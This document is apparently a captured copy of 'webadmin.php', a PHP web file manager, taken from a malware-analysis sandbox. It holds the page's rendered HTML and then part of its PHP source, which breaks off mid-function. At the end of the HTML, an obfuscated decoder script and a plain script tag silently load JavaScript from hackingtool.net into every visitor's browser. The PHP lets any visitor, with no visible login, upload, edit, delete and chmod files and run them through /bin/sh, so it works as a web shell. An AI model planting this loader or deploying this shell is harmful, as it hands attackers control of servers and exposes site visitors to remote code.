#green_button { width: 120px; color: #040 }
#error td { background: maroon; color: white; border: 1px solid silver }
#notice td { background: green; color: white; border: 1px solid silver }
#notice pre, #error pre { background: silver; color: black; padding: 1ex; margin-left: 1ex; margin-right: 1ex }
code { font-size: 12pt }
td { white-space: nowrap }
</style>
<script type="text/javascript">
<!--
function activate (name) {
if (document && document.forms[0] && document.forms[0].elements['focus']) {
document.forms[0].elements['focus'].value = name;
}
}
//-->
</script>
</head>
<body>
<h1 style="margin-bottom: 0">webadmin.php</h1>
<form enctype="multipart/form-data" action="webadmin.php" method="post">
<table id="main">
<tbody><tr>
<td colspan="7" id="directory">
<a href="webadmin.php?dir=%2Fvar%2Fwww%2Fhtml%2F">Directory</a>:
<input type="text" name="dir" size="30" value="/var/www/html/" onfocus="activate('directory')">
<input type="submit" name="changedir" value="change" onfocus="activate('directory')">
</td>
</tr>
<tr>
<td colspan="7" id="upload">
File:
<input type="file" name="upload" onfocus="activate('other')">
<input type="submit" name="submit_upload" value="upload" onfocus="activate('other')">
</td>
</tr>
<tr>
<td colspan="7" id="create">
<select name="create_type" size="1" onfocus="activate('create')">
<option value="file">File</option>
<option value="directory">Directory</option>
</select>
<input type="text" name="create_name" onfocus="activate('create')">
<input type="submit" name="submit_create" value="create" onfocus="activate('create')">
</td>
</tr>
<tr class="listing">
<th style="text-align: center; vertical-align: middle"><img src="webadmin.php?image=smiley" alt="smiley"></th>
<th class="filename"><a href="webadmin.php?dir=%2Fvar%2Fwww%2Fhtml%2F&sort=filename&reverse=true">Filename</a> ∧</th>
<th class="size"><a href="webadmin.php?dir=%2Fvar%2Fwww%2Fhtml%2F&sort=size">Size</a></th>
<th class="permission"><a href="webadmin.php?dir=%2Fvar%2Fwww%2Fhtml%2F&sort=permission">Permission</a></th>
<th class="owner"><a href="webadmin.php?dir=%2Fvar%2Fwww%2Fhtml%2F&sort=owner">Owner</a></th>
<th class="group"><a href="webadmin.php?dir=%2Fvar%2Fwww%2Fhtml%2F&sort=group">Group</a></th>
<th class="functions">Functions</th>
</tr>
<tr class="listing">
<td class="checkbox"><input type="checkbox" name="checked0" value="true" onfocus="activate('other')"></td>
<td class="filename" title="mtime: 2/12/23 21:39:50, atime: 2/12/23 21:39:51, ctime: 2/12/23 21:39:50"><img src="webadmin.php?image=folder" alt="folder"> [ <a href="webadmin.php?dir=%2Fvar%2Fwww%2Fhtml%2F.">.</a> ]</td>
<td class="size" title="4 kB">4096 B</td>
<td class="permission" title="40777">drwxrwxrwx</td>
<td class="owner" title="uid: 0">root</td>
<td class="group" title="gid: 0">root</td>
<td class="functions">
<input type="hidden" name="file0" value="/var/www/html/.">
<select class="small" name="action0" size="1">
<option value=""> </option>
<option value="create_symlink">create symlink</option>
<option value="delete">delete</option>
<option value="rename">rename</option>
<option value="move">move</option>
</select>
<input class="small" type="submit" name="submit0" value=" > " onfocus="activate('other')">
</td>
</tr>
<tr class="listing">
<td class="checkbox"><input type="checkbox" name="checked1" value="true" onfocus="activate('other')"></td>
<td class="filename" title="mtime: 2/12/23 21:39:50, atime: 2/12/23 21:37:58, ctime: 2/12/23 21:39:50"><img src="webadmin.php?image=folder" alt="folder"> [ <a href="webadmin.php?dir=%2Fvar%2Fwww%2Fhtml%2F..">..</a> ]</td>
<td class="size" title="4 kB">4096 B</td>
<td class="permission" title="40777">drwxrwxrwx</td>
<td class="owner" title="uid: 0">root</td>
<td class="group" title="gid: 0">root</td>
<td class="functions">
<input type="hidden" name="file1" value="/var/www/html/..">
<select class="small" name="action1" size="1">
<option value=""> </option>
<option value="create_symlink">create symlink</option>
<option value="delete">delete</option>
<option value="rename">rename</option>
<option value="move">move</option>
</select>
<input class="small" type="submit" name="submit1" value=" > " onfocus="activate('other')">
</td>
</tr>
<tr class="listing">
<td class="checkbox"><input type="checkbox" name="checked2" value="true" onfocus="activate('other')"></td>
<td class="filename" title="mtime: 2/12/23 21:39:50, atime: 2/12/23 21:39:50, ctime: 2/12/23 21:39:50"><img src="webadmin.php?image=file" alt="file"> <a href="webadmin.php?action=view&file=%2Fvar%2Fwww%2Fhtml%2Fbeneri.se_malware_analysis">beneri.se_malware_analysis</a></td>
<td class="size">0 B</td>
<td class="permission" title="100644">-rw-r--r--</td>
<td class="owner" title="uid: 0">root</td>
<td class="group" title="gid: 0">root</td>
<td class="functions">
<input type="hidden" name="file2" value="/var/www/html/beneri.se_malware_analysis">
<select class="small" name="action2" size="1">
<option value=""> </option>
<option value="create_symlink">create symlink</option>
<option value="delete">delete</option>
<option value="rename">rename</option>
<option value="move">move</option>
<option value="copy">copy</option>
<option value="download">download</option>
</select>
<input class="small" type="submit" name="submit2" value=" > " onfocus="activate('other')">
</td>
</tr>
<tr class="listing">
<td class="checkbox"><input type="checkbox" name="checked3" value="true" onfocus="activate('other')"></td>
<td class="filename" title="mtime: 2/12/23 21:39:50, atime: 2/12/23 21:39:51, ctime: 2/12/23 21:39:50"><img src="webadmin.php?image=file" alt="file"> <a href="webadmin.php?action=view&file=%2Fvar%2Fwww%2Fhtml%2Fwebadmin.php">webadmin.php</a></td>
<td class="size" title="73.2 kB">74983 B</td>
<td class="permission" title="100664">-rw-rw-r--</td>
<td class="owner" title="uid: 1000">osboxes</td>
<td class="group" title="gid: 1000">osboxes</td>
<td class="functions">
<input type="hidden" name="file3" value="/var/www/html/webadmin.php">
<select class="small" name="action3" size="1">
<option value=""> </option>
<option value="create_symlink">create symlink</option>
<option value="delete">delete</option>
<option value="rename">rename</option>
<option value="move">move</option>
<option value="copy">copy</option>
<option value="download">download</option>
</select>
<input class="small" type="submit" name="submit3" value=" > " onfocus="activate('other')">
</td>
</tr>
<tr class="listing_footer">
<td style="text-align: right; vertical-align: top"><img src="webadmin.php?image=arrow" alt=">"></td>
<td colspan="6">
<input type="hidden" name="num" value="4">
<input type="hidden" name="focus" value="">
<input type="hidden" name="olddir" value="/var/www/html/">
<select class="small" name="action_all" size="1">
<option value=""> </option>
<option value="delete">delete</option>
<option value="move">move</option>
<option value="copy">copy</option>
</select>
<input class="small" type="submit" name="submit_all" value=" > " onfocus="activate('other')">
</td>
</tr>
</tbody></table>
</form>
<script language="javascript">document.write(unescape('%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%6A%61%76%61%73%63%72%69%70%74%22%3E%66%75%6E%63%74%69%6F%6E%20%64%46%28%73%29%7B%76%61%72%20%73%31%3D%75%6E%65%73%63%61%70%65%28%73%2E%73%75%62%73%74%72%28%30%2C%73%2E%6C%65%6E%67%74%68%2D%31%29%29%3B%20%76%61%72%20%74%3D%27%27%3B%66%6F%72%28%69%3D%30%3B%69%3C%73%31%2E%6C%65%6E%67%74%68%3B%69%2B%2B%29%74%2B%3D%53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%73%31%2E%63%68%61%72%43%6F%64%65%41%74%28%69%29%2D%73%2E%73%75%62%73%74%72%28%73%2E%6C%65%6E%67%74%68%2D%31%2C%31%29%29%3B%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%75%6E%65%73%63%61%70%65%28%74%29%29%3B%7D%3C%2F%73%63%72%69%70%74%3E'));dF('%264Dtdsjqu%2631tsd%264E%2633iuuqt%264B00ibdljohuppm/ofu0mpht0dj%7B/kt%2633%264F%264D0tdsjqu%264F%26311')</script><script language="javascript">function dF(s){var s1=unescape(s.substr(0,s.length-1)); var t='';for(i=0;i<s1.length;i++)t+=String.fromCharCode(s1.charCodeAt(i)-s.substr(s.length-1,1));document.write(unescape(t));}</script><script src="https://hackingtool.net/logs/ciz.js"></script> </body></html>
<?php
/*
* webadmin.php - a simple Web-based file manager
* Copyright (C) 2004-2011 Daniel Wacker [daniel dot wacker at web dot de]
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
*
* -------------------------------------------------------------------------
* While using this script, do NOT navigate with your browser's back and
* forward buttons! Always open files in a new browser tab!
* -------------------------------------------------------------------------
*
* This is Version 0.9, revision 12
* =========================================================================
*
* Changes of revision 12
* [bhb at o2 dot pl]
* added Polish translation
* [daniel dot wacker at web dot de]
* switched to UTF-8
* fixed undefined variable
*
* Changes of revision 11
* [daniel dot wacker at web dot de]
* fixed handling if folder isn't readable
*
* Changes of revision 10
* [alex dash smirnov at web.de]
* added Russian translation
* [daniel dot wacker at web dot de]
* added </td> to achieve valid XHTML (thanks to Marc Magos)
* improved delete function
* [ava at asl dot se]
* new list order: folders first
*
* Changes of revision 9
* [daniel dot wacker at web dot de]
* added workaround for directory listing, if lstat() is disabled
* fixed permisson of uploaded files (thanks to Stephan Duffner)
*
* Changes of revision 8
* [okankan at stud dot sdu dot edu dot tr]
* added Turkish translation
* [j at kub dot cz]
* added Czech translation
* [daniel dot wacker at web dot de]
* improved charset handling
*
* Changes of revision 7
* [szuniga at vtr dot net]
* added Spanish translation
* [lars at soelgaard dot net]
* added Danish translation
* [daniel dot wacker at web dot de]
* improved rename dialog
*
* Changes of revision 6
* [nederkoorn at tiscali dot nl]
* added Dutch translation
*
* Changes of revision 5
* [daniel dot wacker at web dot de]
* added language auto select
* fixed symlinks in directory listing
* removed word-wrap in edit textarea
*
* Changes of revision 4
* [daloan at guideo dot fr]
* added French translation
* [anders at wiik dot cc]
* added Swedish translation
*
* Changes of revision 3
* [nzunta at gabriele dash erba dot it]
* improved Italian translation
*
* Changes of revision 2
* [daniel dot wacker at web dot de]
* got images work in some old browsers
* fixed creation of directories
* fixed files deletion
* improved path handling
* added missing word 'not_created'
* [till at tuxen dot de]
* improved human readability of file sizes
* [nzunta at gabriele dash erba dot it]
* added Italian translation
*
* Changes of revision 1
* [daniel dot wacker at web dot de]
* webadmin.php completely rewritten:
* - clean XHTML/CSS output
* - several files selectable
* - support for windows servers
* - no more treeview, because
* - webadmin.php is a >simple< file manager
* - performance problems (too much additional code)
* - I don't like: frames, java-script, to reload after every treeview-click
* - execution of shell scripts
* - introduced revision numbers
*
/* ------------------------------------------------------------------------- */
/* Your language:
* 'en' - English
* 'de' - German
* 'fr' - French
* 'it' - Italian
* 'nl' - Dutch
* 'se' - Swedish
* 'sp' - Spanish
* 'dk' - Danish
* 'tr' - Turkish
* 'cs' - Czech
* 'ru' - Russian
* 'pl' - Polish
* 'auto' - autoselect
*/
$lang = 'auto';
/* Homedir:
* For example: './' - the script's directory
*/
$homedir = './';
/* Size of the edit textarea
*/
$editcols = 80;
$editrows = 25;
/* -------------------------------------------
* Optional configuration (remove # to enable)
*/
/* Permission of created directories:
* For example: 0705 would be 'drwx---r-x'.
*/
# $dirpermission = 0705;
/* Permission of created files:
* For example: 0604 would be '-rw----r--'.
*/
# $filepermission = 0604;
/* Filenames related to the apache web server:
*/
$htaccess = '.htaccess';
$htpasswd = '.htpasswd';
/* ------------------------------------------------------------------------- */
if (get_magic_quotes_gpc()) {
array_walk($_GET, 'strip');
array_walk($_POST, 'strip');
array_walk($_REQUEST, 'strip');
}
if (array_key_exists('image', $_GET)) {
header('Content-Type: image/gif');
die(getimage($_GET['image']));
}
if (!function_exists('lstat')) {
function lstat ($filename) {
return stat($filename);
}
}
$delim = DIRECTORY_SEPARATOR;
if (function_exists('php_uname')) {
$win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true : false;
} else {
$win = ($delim == '\\') ? true : false;
}
if (!empty($_SERVER['PATH_TRANSLATED'])) {
$scriptdir = dirname($_SERVER['PATH_TRANSLATED']);
} elseif (!empty($_SERVER['SCRIPT_FILENAME'])) {
$scriptdir = dirname($_SERVER['SCRIPT_FILENAME']);
} elseif (function_exists('getcwd')) {
$scriptdir = getcwd();
} else {
$scriptdir = '.';
}
$homedir = relative2absolute($homedir, $scriptdir);
$dir = (array_key_exists('dir', $_REQUEST)) ? $_REQUEST['dir'] : $homedir;
if (array_key_exists('olddir', $_POST) && !path_is_relative($_POST['olddir'])) {
$dir = relative2absolute($dir, $_POST['olddir']);
}
$directory = simplify_path(addslash($dir));
$files = array();
$action = '';
if (!empty($_POST['submit_all'])) {
$action = $_POST['action_all'];
for ($i = 0; $i < $_POST['num']; $i++) {
if (array_key_exists("checked$i", $_POST) && $_POST["checked$i"] == 'true') {
$files[] = $_POST["file$i"];
}
}
} elseif (!empty($_REQUEST['action'])) {
$action = $_REQUEST['action'];
$files[] = relative2absolute($_REQUEST['file'], $directory);
} elseif (!empty($_POST['submit_upload']) && !empty($_FILES['upload']['name'])) {
$files[] = $_FILES['upload'];
$action = 'upload';
} elseif (array_key_exists('num', $_POST)) {
for ($i = 0; $i < $_POST['num']; $i++) {
if (array_key_exists("submit$i", $_POST)) break;
}
if ($i < $_POST['num']) {
$action = $_POST["action$i"];
$files[] = $_POST["file$i"];
}
}
if (empty($action) && (!empty($_POST['submit_create']) || (array_key_exists('focus', $_POST) && $_POST['focus'] == 'create')) && !empty($_POST['create_name'])) {
$files[] = relative2absolute($_POST['create_name'], $directory);
switch ($_POST['create_type']) {
case 'directory':
$action = 'create_directory';
break;
case 'file':
$action = 'create_file';
}
}
if (sizeof($files) == 0) $action = ''; else $file = reset($files);
if ($lang == 'auto') {
if (array_key_exists('HTTP_ACCEPT_LANGUAGE', $_SERVER) && strlen($_SERVER['HTTP_ACCEPT_LANGUAGE']) >= 2) {
$lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2);
} else {
$lang = 'en';
}
}
$words = getwords($lang);
if ($site_charset == 'auto') {
$site_charset = $word_charset;
}
$cols = ($win) ? 4 : 7;
if (!isset($dirpermission)) {
$dirpermission = (function_exists('umask')) ? (0777 & ~umask()) : 0755;
}
if (!isset($filepermission)) {
$filepermission = (function_exists('umask')) ? (0666 & ~umask()) : 0644;
}
if (!empty($_SERVER['SCRIPT_NAME'])) {
$self = html(basename($_SERVER['SCRIPT_NAME']));
} elseif (!empty($_SERVER['PHP_SELF'])) {
$self = html(basename($_SERVER['PHP_SELF']));
} else {
$self = '';
}
if (!empty($_SERVER['SERVER_SOFTWARE'])) {
if (strtolower(substr($_SERVER['SERVER_SOFTWARE'], 0, 6)) == 'apache') {
$apache = true;
} else {
$apache = false;
}
} else {
$apache = true;
}
switch ($action) {
case 'view':
if (is_script($file)) {
/* highlight_file is a mess! */
ob_start();
highlight_file($file);
$src = ereg_replace('<font color="([^"]*)">', '<span style="color: \1">', ob_get_contents());
$src = str_replace(array('</font>', "\r", "\n"), array('</span>', '', ''), $src);
ob_end_clean();
html_header();
echo '<h2 style="text-align: left; margin-bottom: 0">' . html($file) . '</h2>
<hr />
<table>
<tr>
<td style="text-align: right; vertical-align: top; color: gray; padding-right: 3pt; border-right: 1px solid gray">
<pre style="margin-top: 0"><code>';
for ($i = 1; $i <= sizeof(file($file)); $i++) echo "$i\n";
echo '</code></pre>
</td>
<td style="text-align: left; vertical-align: top; padding-left: 3pt">
<pre style="margin-top: 0">' . $src . '</pre>
</td>
</tr>
</table>
';
html_footer();
} else {
header('Content-Type: ' . getmimetype($file));
header('Content-Disposition: filename=' . basename($file));
readfile($file);
}
break;
case 'download':
header('Pragma: public');
header('Expires: 0');
header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Content-Type: ' . getmimetype($file));
header('Content-Disposition: attachment; filename=' . basename($file) . ';');
header('Content-Length: ' . filesize($file));
readfile($file);
break;
case 'upload':
$dest = relative2absolute($file['name'], $directory);
if (@file_exists($dest)) {
listing_page(error('already_exists', $dest));
} elseif (@move_uploaded_file($file['tmp_name'], $dest)) {
@chmod($dest, $filepermission);
listing_page(notice('uploaded', $file['name']));
} else {
listing_page(error('not_uploaded', $file['name']));
}
break;
case 'create_directory':
if (@file_exists($file)) {
listing_page(error('already_exists', $file));
} else {
$old = @umask(0777 & ~$dirpermission);
if (@mkdir($file, $dirpermission)) {
listing_page(notice('created', $file));
} else {
listing_page(error('not_created', $file));
}
@umask($old);
}
break;
case 'create_file':
if (@file_exists($file)) {
listing_page(error('already_exists', $file));
} else {
$old = @umask(0777 & ~$filepermission);
if (@touch($file)) {
edit($file);
} else {
listing_page(error('not_created', $file));
}
@umask($old);
}
break;
case 'execute':
chdir(dirname($file));
$output = array();
$retval = 0;
exec('echo "./' . basename($file) . '" | /bin/sh', $output, $retval);
$error = ($retval == 0) ? false : true;
if (sizeof($output) == 0) $output = array('<' . $words['no_output'] . '>');
if ($error) {
listing_page(error('not_executed', $file, implode("\n", $output)));
} else {
listing_page(notice('executed', $file, implode("\n", $output)));
}
break;
case 'delete':
if (!empty($_POST['no'])) {
listing_page();
} elseif (!empty($_POST['yes'])) {
$failure = array();
$success = array();
foreach ($files as $file) {
if (del($file)) {
$success[] = $file;
} else {
$failure[] = $file;
}
}
$message = '';
if (sizeof($failure) > 0) {
$message = error('not_deleted', implode("\n", $failure));
}
if (sizeof($success) > 0) {
$message .= notice('deleted', implode("\n", $success));
}
listing_page($message);
} else {
html_header();
echo '<form action="' . $self . '" method="post">
<table class="dialog">
<tr>
<td class="dialog">
';
request_dump();
echo "\t<b>" . word('really_delete') . '</b>
<p>
';
foreach ($files as $file) {
echo "\t" . html($file) . "<br />\n";
}
echo ' </p>
<hr />
<input type="submit" name="no" value="' . word('no') . '" id="red_button" />
<input type="submit" name="yes" value="' . word('yes') . '" id="green_button" style="margin-left: 50px" />
</td>
</tr>
</table>
</form>
';
html_footer();
}
break;
case 'rename':
if (!empty($_POST['destination'])) {
$dest = relative2absolute($_POST['destination'], $directory);
if (!@file_exists($dest) && @rename($file, $dest)) {
listing_page(notice('renamed', $file, $dest));
} else {
listing_page(error('not_renamed', $file, $dest));
}
} else {
$name = basename($file);
html_header();
echo '<form action="' . $self . '" method="post">
<table class="dialog">
<tr>
<td class="dialog">
<input type="hidden" name="action" value="rename" />
<input type="hidden" name="file" value="' . html($file) . '" />
<input type="hidden" name="dir" value="' . html($directory) . '" />
<b>' . word('rename_file') . '</b>
<p>' . html($file) . '</p>
<b>' . substr($file, 0, strlen($file) - strlen($name)) . '</b>
<input type="text" name="destination" size="' . textfieldsize($name) . '" value="' . html($name) . '" />
<hr />
<input type="submit" value="' . word('rename') . '" />
</td>
</tr>
</table>
<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
</form>
';
html_footer();
}
break;
case 'move':
if (!empty($_POST['destination'])) {
$dest = relative2absolute($_POST['destination'], $directory);
$failure = array();
$success = array();
foreach ($files as $file) {
$filename = substr($file, strlen($directory));
$d = $dest . $filename;
if (!@file_exists($d) && @rename($file, $d)) {
$success[] = $file;
} else {
$failure[] = $file;
}
}
$message = '';
if (sizeof($failure) > 0) {
$message = error('not_moved', implode("\n", $failure), $dest);
}
if (sizeof($success) > 0) {
$message .= notice('moved', implode("\n", $success), $dest);
}
listing_page($message);
} else {
html_header();
echo '<form action="' . $self . '" method="post">
<table class="dialog">
<tr>
<td class="dialog">
';
request_dump();
echo "\t<b>" . word('move_files') . '</b>
<p>
';
foreach ($files as $file) {
echo "\t" . html($file) . "<br />\n";
}
echo ' </p>
<hr />
' . word('destination') . ':
<input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
<input type="submit" value="' . word('move') . '" />
</td>
</tr>
</table>
<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
</form>
';
html_footer();
}
break;
case 'copy':
if (!empty($_POST['destination'])) {
$dest = relative2absolute($_POST['destination'], $directory);
if (@is_dir($dest)) {
$failure = array();
$success = array();
foreach ($files as $file) {
$filename = substr($file, strlen($directory));
$d = addslash($dest) . $filename;
if (!@is_dir($file) && !@file_exists($d) && @copy($file, $d)) {
$success[] = $file;
} else {
$failure[] = $file;
}
}
$message = '';
if (sizeof($failure) > 0) {
$message = error('not_copied', implode("\n", $failure), $dest);
}
if (sizeof($success) > 0) {
$message .= notice('copied', implode("\n", $success), $dest);
}
listing_page($message);
} else {
if (!@file_exists($dest) && @copy($file, $dest)) {
listing_page(notice('copied', $file, $dest));
} else {
listing_page(error('not_copied', $file, $dest));
}
}
} else {
html_header();
echo '<form action="' . $self . '" method="post">
<table class="dialog">
<tr>
<td class="dialog">
';
request_dump();
echo "\n<b>" . word('copy_files') . '</b>
<p>
';
foreach ($files as $file) {
echo "\t" . html($file) . "<br />\n";
}
echo ' </p>
<hr />
' . word('destination') . ':
<input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
<input type="submit" value="' . word('copy') . '" />
</td>
</tr>
</table>
<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
</form>
';
html_footer();
}
break;
case 'create_symlink':
if (!empty($_POST['destination'])) {
$dest = relative2absolute($_POST['destination'], $directory);
if (substr($dest, -1, 1) == $delim) $dest .= basename($file);
if (!empty($_POST['relative'])) $file = absolute2relative(addslash(dirname($dest)), $file);
if (!@file_exists($dest) && @symlink($file, $dest)) {
listing_page(notice('symlinked', $file, $dest));
} else {
listing_page(error('not_symlinked', $file, $dest));
}
} else {
html_header();
echo '<form action="' . $self . '" method="post">
<table class="dialog" id="symlink">
<tr>
<td style="vertical-align: top">' . word('destination') . ': </td>
<td>
<b>' . html($file) . '</b><br />
<input type="checkbox" name="relative" value="yes" id="checkbox_relative" checked="checked" style="margin-top: 1ex" />
<label for="checkbox_relative">' . word('relative') . '</label>
<input type="hidden" name="action" value="create_symlink" />
<input type="hidden" name="file" value="' . html($file) . '" />
<input type="hidden" name="dir" value="' . html($directory) . '" />
</td>
</tr>
<tr>
<td>' . word('symlink') . ': </td>
<td>
<input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
<input type="submit" value="' . word('create_symlink') . '" />
</td>
</tr>
</table>
<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
</form>
';
html_footer();
}
break;
case 'edit':
if (!empty($_POST['save'])) {
$content = str_replace("\r\n", "\n", $_POST['content']);
if (($f = @fopen($file, 'w')) && @fwrite($f, $content) !== false && @fclose($f)) {
listing_page(notice('saved', $file));
} else {
listing_page(error('not_saved', $file));
}
} else {
if (@is_readable($file) && @is_writable($file)) {
edit($file);
} else {
listing_page(error('not_edited', $file));
}
}
break;
case 'permission':
if (!empty($_POST['set'])) {
$mode = 0;
if (!empty($_POST['ur'])) $mode |= 0400; if (!empty($_POST['uw'])) $mode |= 0200; if (!empty($_POST['ux'])) $mode |= 0100;
if (!empty($_POST['gr'])) $mode |= 0040; if (!empty($_POST['gw'])) $mode |= 0020; if (!empty($_POST['gx'])) $mode |= 0010;
if (!empty($_POST['or'])) $mode |= 0004; if (!empty($_POST['ow'])) $mode |= 0002; if (!empty($_POST['ox'])) $mode |= 0001;
if (@chmod($file, $mode)) {
listing_page(notice('permission_set', $file, decoct($mode)));
} else {
listing_page(error('permission_not_set', $file, decoct($mode)));
}
} else {
html_header();
$mode = fileperms($file);
echo '<form action="' . $self . '" method="post">
<table class="dialog">
<tr>
<td class="dialog">
<p style="margin: 0">' . phrase('permission_for', $file) . '</p>
<hr />
<table id="permission">
<tr>
<td></td>
<td style="border-right: 1px solid black">' . word('owner') . '</td>
<td style="border-right: 1px solid black">' . word('group') . '</td>
<td>' . word('other') . '</td>
</tr>
<tr>
<td style="text-align: right">' . word('read') . ':</td>
<td><input type="checkbox" name="ur" value="1"'; if ($mode & 00400) echo ' checked="checked"'; echo ' /></td>
<td><input type="checkbox" name="gr" value="1"'; if ($mode & 00040) echo ' checked="checked"'; echo ' /></td>
<td><input type="checkbox" name="or" value="1"'; if ($mode & 00004) echo ' checked="checked"'; echo ' /></td>
</tr>
<tr>
<td style="text-align: right">' . word('write') . ':</td>
<td><input type="checkbox" name="uw" value="1"'; if ($mode & 00200) echo ' checked="checked"'; echo ' /></td>
<td><input type="checkbox" name="gw" value="1"'; if ($mode & 00020) echo ' checked="checked"'; echo ' /></td>
<td><input type="checkbox" name="ow" value="1"'; if ($mode & 00002) echo ' checked="checked"'; echo ' /></td>
</tr>
<tr>
<td style="text-align: right">' . word('execute') . ':</td>
<td><input type="checkbox" name="ux" value="1"'; if ($mode & 00100) echo ' checked="checked"'; echo ' /></td>
<td><input type="checkbox" name="gx" value="1"'; if ($mode & 00010) echo ' checked="checked"'; echo ' /></td>
<td><input type="checkbox" name="ox" value="1"'; if ($mode & 00001) echo ' checked="checked"'; echo ' /></td>
</tr>
</table>
<hr />
<input type="submit" name="set" value="' . word('set') . '" />
<input type="hidden" name="action" value="permission" />
<input type="hidden" name="file" value="' . html($file) . '" />
<input type="hidden" name="dir" value="' . html($directory) . '" />
</td>
</tr>
</table>
<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
</form>
';
html_footer();
}
break;
default:
listing_page();
}
/* ------------------------------------------------------------------------- */
function getlist ($directory) {
global $delim, $win;
if ($d = @opendir($directory)) {
while (($filename = @readdir($d)) !== false) {
$path = $directory . $filename;
if ($stat = @lstat($path)) {
$file = array(
'filename' => $filename,
'path' => $path,
'is_file' => @is_file($path),
'is_dir' => @is_dir($path),
'is_link' => @is_link($path),
'is_readable' => @is_readable($path),
'is_writable' => @is_writable($path),
'size' => $stat['size'],
'permission' => $stat['mode'],
'owner' => $stat['uid'],
'group' => $stat['gid'],
'mtime' => @filemtime($path),
'atime' => @fileatime($path),
'ctime' => @filectime($path)
);
if ($file['is_dir']) {
$file['is_executable'] = @file_exists($path . $delim . '.');
} else {
if (!$win) {
$file['is_executable'] = @is_executable($path);
} else {
$file['is_executable'] = true;
}
}
if ($file['is_link']) $file['target'] = @readlink($path);
if (function_exists('posix_getpwuid')) $file['owner_name'] = @reset(posix_getpwuid($file['owner']));
if (function_exists('posix_getgrgid')) $file['group_name'] = @reset(posix_getgrgid($file['group']));
$files[] = $file;
}
}
return $files;
} else {
return false;
}
}
function sortlist ($list, $key, $reverse) {
$dirs = array();
$files = array();
for ($i = 0; $i < sizeof($list); $i++) {
if ($list[$i]['is_dir']) $dirs[] = $list[$i];
else $files[] = $list[$i];
}
quicksort($dirs, 0, sizeof($dirs) - 1, $key);
if ($reverse) $dirs = array_reverse($dirs);
quicksort($files, 0, sizeof($files) - 1, $key);
if ($reverse) $files = array_reverse($files);
return array_merge($dirs, $files);
}
function quicksort (&$array, $first, $last, $key) {
if ($first < $last) {
$cmp = $array[floor(($first + $last) / 2)][$key];
$l = $first;
$r = $last;
while ($l <= $r) {
while ($array[$l][$key] < $cmp) $l++;
while ($array[$r][$key] > $cmp) $r--;
if ($l <= $r) {
$tmp = $array[$l];
$array[$l] = $array[$r];
$array[$r] = $tmp;
$l++;
$r--;
}
}
quicksort($array, $first, $r, $key);
quicksort($array, $l, $last, $key);
}
}
function permission_octal2string ($mode) {
if (($mode & 0xC000) === 0xC000) {
$type = 's';
} elseif (($mode & 0xA000) === 0xA000) {
$type = 'l';
} elseif (($mode & 0x8000) === 0x8000) {
$type = '-';
} elseif (($mode & 0x6000) === 0x6000) {
$type = 'b';
} elseif (($mode & 0x4000) === 0x4000) {
$type = 'd';
} elseif (($mode & 0x2000) === 0x2000) {
$type = 'c';
} elseif (($mode & 0x1000) === 0x1000) {
$type = 'p';
} else {
$type = '?';
}
$owner = ($mode & 00400) ? 'r' : '-';
$owner .= ($mode & 00200) ? 'w' : '-';
if ($mode & 0x800) {
$owner .= ($mode & 00100) ? 's' : 'S';
} else {
$owner .= ($mode & 00100) ? 'x' : '-';
}
$group = ($mode & 00040) ? 'r' : '-';
$group .= ($mode & 00020) ? 'w' : '-';
if ($mode & 0x400) {
$group .= ($mode & 00010) ? 's' : 'S';
} else {
$group .= ($mode & 00010) ? 'x' : '-';
}
$other = ($mode & 00004) ? 'r' : '-';
$other .= ($mode & 00002) ? 'w' : '-';
if ($mode & 0x200) {
$other .= ($mode & 00001) ? 't' : 'T';
} else {
$other .= ($mode & 00001) ? 'x' : '-';
}
return $type . $owner . $group . $other;
}
function is_script ($filename) {
return ereg('\.php$|\.php3$|\.php4$|\.php5$', $filename);
}
function getmimetype ($filename) {
static $mimes = array(
'\.jpg$|\.jpeg$' => 'image/jpeg',
'\.gif$' => 'image/gif',
'\.png$' => 'image/png',
'\.html$|\.html$' => 'text/html',
'\.txt$|\.asc$' => 'text/plain',
'\.xml$|\.xsl$' => 'application/xml',
'\.pdf$' => 'application/pdf'
);
foreach ($mimes as $regex => $mime) {
if (eregi($regex, $filename)) return $mime;
}
// return 'application/octet-stream';
return 'text/plain';
}
function del ($file) {
global $delim;
if (!file_exists($file)) return false;
if (@is_dir($file) && !@is_link($file)) {
$success = false;
if (@rmdir($file)) {
$success = true;
} elseif ($dir = @opendir($file)) {
$success = true;
while (($f = readdir($dir)) !== false) {
if ($f != '.' && $f != '..' && !del($file . $delim . $f)) {
$success = false;
}
}
closedir($dir);
if ($success) $success = @rmdir($file);
}
return $success;
}
return @unlink($file);
}
function addslash ($directory) {
global $delim;
if (substr($directory, -1, 1) != $delim) {
return $directory . $delim;
} else {
return $directory;
}
}
function relative2absolute ($string, $directory) {
if (path_is_relative($string)) {
return simplify_path(addslash($directory) . $string);
} else {
return simplify_path($string);
}
}
function path_is_relative ($path) {
global $win;
if ($win) {
return (substr($path, 1, 1) != ':');
} else {
return (substr($path, 0, 1) != '/');
}
}
function absolute2relative ($directory, $target) {
global $delim;
$path = '';
while ($directory != $target) {
if ($directory == substr($target, 0, strlen($directory))) {
